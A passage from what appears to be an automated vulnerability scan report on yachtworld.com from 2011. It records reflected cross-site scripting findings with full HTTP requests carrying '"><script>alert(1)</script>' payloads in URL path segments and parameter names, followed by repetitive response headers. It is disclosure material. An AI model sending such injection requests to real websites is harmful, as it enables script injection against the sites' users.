HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:24 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 14 Jan 2011 23:08:20 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2141315%5B%25%5D32%27+Regulator+32cc%5B%25%5DUSD%26nbsp%3B94%2C995%5B%25%5DOrange+Beach%2C+AL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F4%2F1%2F3%2F2141315_8_mini.jpg%3F1281995277000%5B%25%5D%2Fboats%2F2004%2FRegulator-32cc-2141315%2FOrange-Beach%2FAL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:24 GMT Set-Cookie: VIEWED_BOATS_STORE=2141315%5B%25%5D32%27+Regulator+32cc%5B%25%5DUSD%26nbsp%3B94%2C995%5B%25%5DOrange+Beach%2C+AL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F4%2F1%2F3%2F2141315_8_mini.jpg%3F1281995277000%5B%25%5D%2Fboats%2F2004%2FRegulator-32cc-2141315%2FOrange-Beach%2FAL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30a83"><script>alert(1)</script>62580daf9dc was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32cc-2141315/Orange-Beach/AL30a83"><script>alert(1)</script>62580daf9dc/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:08 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 14 Jan 2011 23:08:20 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2141315%5B%25%5D32%27+Regulator+32cc%5B%25%5DUSD%26nbsp%3B94%2C995%5B%25%5DOrange+Beach%2C+AL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F4%2F1%2F3%2F2141315_8_mini.jpg%3F1281995277000%5B%25%5D%2Fboats%2F2004%2FRegulator-32cc-2141315%2FOrange-Beach%2FAL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:08 GMT Set-Cookie: VIEWED_BOATS_STORE=2141315%5B%25%5D32%27+Regulator+32cc%5B%25%5DUSD%26nbsp%3B94%2C995%5B%25%5DOrange+Beach%2C+AL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F4%2F1%2F3%2F2141315_8_mini.jpg%3F1281995277000%5B%25%5D%2Fboats%2F2004%2FRegulator-32cc-2141315%2FOrange-Beach%2FAL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f083"><script>alert(1)</script>b717be1f98b was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32cc-2141315/Orange-Beach/AL/United-States3f083"><script>alert(1)</script>b717be1f98b HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:31 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 14 Jan 2011 23:08:20 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2141315%5B%25%5D32%27+Regulator+32cc%5B%25%5DUSD%26nbsp%3B94%2C995%5B%25%5DOrange+Beach%2C+AL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F4%2F1%2F3%2F2141315_8_mini.jpg%3F1281995277000%5B%25%5D%2Fboats%2F2004%2FRegulator-32cc-2141315%2FOrange-Beach%2FAL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:31 GMT Set-Cookie: VIEWED_BOATS_STORE=2141315%5B%25%5D32%27+Regulator+32cc%5B%25%5DUSD%26nbsp%3B94%2C995%5B%25%5DOrange+Beach%2C+AL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F4%2F1%2F3%2F2141315_8_mini.jpg%3F1281995277000%5B%25%5D%2Fboats%2F2004%2FRegulator-32cc-2141315%2FOrange-Beach%2FAL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.108. http://www.yachtworld.com/boats/2004/Regulator-32cc-2141315/Orange-Beach/AL/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6337a"><script>alert(1)</script>1388dae81f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32cc-2141315/Orange-Beach/AL/United-States?6337a"><script>alert(1)</script>1388dae81f8=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDes